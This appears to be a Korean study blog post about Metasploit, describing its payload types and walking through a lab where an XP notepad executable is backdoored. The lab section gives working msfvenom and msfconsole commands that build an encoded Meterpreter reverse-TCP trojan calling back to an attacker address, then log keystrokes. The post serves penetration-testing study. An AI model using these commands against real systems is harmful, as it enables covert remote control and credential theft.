일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 모드 설정
- metasploit
- study
- stock price
- CSRF
- 라우터
- programmers
- Algorithm
- meterpreter
- HTML Injection
- todo
- 미터프리터
- ToDoList
- Router
- java
- 모의해킹
- 웹해킹
- Suninatas
- hackerrank
- 취약점
- SQL Injection
- 정보시스템
- 취약점진단
- StringBuilder
- leetcode
- wpscan
- algotithm
- 써니나타스
- SQLMap
- todo List
- Today
- Total
보안 / 개발 챌린저가 목표
Metasploit 본문
▶ Metasploit
- 해킹이나 보안 취약점 분석에 많이 쓰이며, 실제 보안 취약점 테스트를 위해 H.D. 무어에 의해 개발되었다.
- Exploit(취약점)과 관련된 모든 메타 데이터를 관리하는 프레임워크.
- 방대한 취약점 DB를 이용하여 악성 코드를 작성하여 배포한다.
- 취약점이 노출된 시스템은 악성 코드로 침입자에게 접근권한을 주고 침입자는 시스템에 접속하여 장악하게 된다.
▽ 구성
💡 Library - 개발에 필요한 API와 기본 클래스 등을 제공.
💡 Interface - 메타스플로잇에 대한 사용자 인터페이스를 제공.
💡 Module - 다양한 공격 형태의 기본 프로그램을 제공.
▼ 기능
- Metasploit의 핵심 기능인 Payload의 주요 7가지 기능
1️⃣ VNC 인젝션
- VNC 인젝션 페이로드는 작은 VNC 서버를 윈도우 시스템에 보내고 나서, 목표 시스템의 VNC 서버에 접속하는 방식.
- 이 기능은 목표 시스템의 전체 GUI 화면을 보여줌.
- 단점은 사용자가 시스템을 사용 중일 때 바로 문제가 있음을 알아차릴 수 있다는 것.
* VNC(Virtual Network Computing, 가상 네트워크 컴퓨팅) : 컴퓨터 환경에서 RFB 프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템.
2️⃣ 파일 실행
- 파일 실행 페이로드는 목표 시스템에 공격 파일을 업로드함.
- 업로드된 파일은 목표 시스템 접근을 위한 공격자의 백도어나 루트킷으로 사용됨.
* Backdoor(백도어) : 일반적인 인증 통과와 원격 접속을 보장하고 평문에의 접근을 취득하는 등의 행동을 들키지 않고 행하는 방법. 설치된 프로그램의 형태를 취하기도 하고, 기존 프로그램 또는 하드웨어의 변형일 수도 있음.
*RootKit(루트킷) : 컴퓨터 소프트웨어 중에서 악의적인 것들의 모음으로써, 자신의 또는 다른 소프트웨어의 존재를 가림과 동시에 허가되지 않은 컴퓨터나 소프트웨어의 영역에 접근할 수 있게 하는 용도로 설계됨.
3️⃣ 대화형 셸
- 대화형 셸 페이로드는 공격자에게 목표 시스템의 셸을 제공.
- 윈도우 시스템이면 DOS를 제공.
- 리눅스나 유닉스에서 해당 공격은 전체 접근권한을 준 것과 다름 없이 매우 막강함.
4️⃣ 명령어 실행
- 명령어 실행 페이로드는 목표 시스템에 명령어를 실행.
- 별도의 상호작용 없이 명령어를 실행시키면서 여러 다른 공격을 섞어 실행.
5️⃣ DLL 인젝션
- DLL 인젝션은 목표 시스템에서 실행 중인 익스플로잇 애플리케이션에 공격자 DLL을 추가하는 방법.
- 공격자는 자신이 원하는 코드를 집어넣을 수 있는데, VNC 인젝션도 이 방법을 사용.
6️⃣ 사용자 추가
- 사용자 추가 페이로드는 목표 시스템에 새로운 사용자를 생성.
- 사용자가 생성되면 공격자는 원격 실행을 통해 시스템에 접근할 수 있음.
- 리눅스에서는 사용자가 root 권한을 얻을 수 있고, 윈도우에서는 Administrator 그룹에 포함될 수 있음.
7️⃣ Meterpreter
- 미터프리터 페이로드는 스위스 군용칼과 같은 만능 도구.
- 목표 시스템의 정보 출력, 프로세스 조정, 화면 캡처 등 많은 기능을 제공.
- 한 마디로 시스템을 마음대로 다룰 수 있는 매우 강력한 도구.
▽ 실습
- 코드는 일반 실행 파일을 이용.
- 목표 시스템 접근은 reverse_tcp 페이로드를 사용.
💡 Reverse TCP 란?
- 공격자가 목표 시스템으로부터 연결을 받는 것.
- 악성 코드 등의 실행을 통해 사용자가 공격자가 유도한 시스템으로 접속하는 것.
- 반대 개념은 Bind TCP.
- 가장 많이 쓰이는 일반적인 기법이며 쉽게 작성 가능.
- 다만, 방화벽이나 IDS, IPS 등의 보안 장비에 의해 탐지가 되면 연결이 막힘.
✔ 실행 파일을 통한 Payload 실습
① XP의 windows/NOTEPAD.EXE를 Kali의 바탕화면으로 복사.
② 역방향 DLL 인젝션 페이로드를 통해 미터프리터 서버 DLL을 인젝션 하기.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.135 -f exe -x 바탕화면/NOTEPAD.EXE -k -e x86/shikata_ga_nai -i 3 -o 바탕화면/NOTEPAD_mal.EXE
- Kali 콘솔에서 위의 명령으로 NOTEPAD_mal.EXE 페이로드를 생성.
③ NOTEPAD_mal.EXE 파일을 XP 바탕화면에 놓기.
④ Kali msfconsole로 들어가 명령 내리기.
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.135
exploit
⑤ XP 화면에서 NOTEPAD_mal.EXE를 실행. 실행하는 순간 세션이 맺어지며 미터프리터로 넘어가는 것 확인 가능.
⑥ 키 스니핑 실행과 멈춤. keyscan_start
와 keyscan_dump
, keyscan_stop
사용.
'IT Security > Web hacking Study' 카테고리의 다른 글
CSRF (0) | 2020.11.19 |
---|---|
HTML Injection (0) | 2020.11.10 |
Scan (0) | 2020.10.27 |
LFI & RFI (0) | 2020.10.15 |
SQL Injection (0) | 2020.10.15 |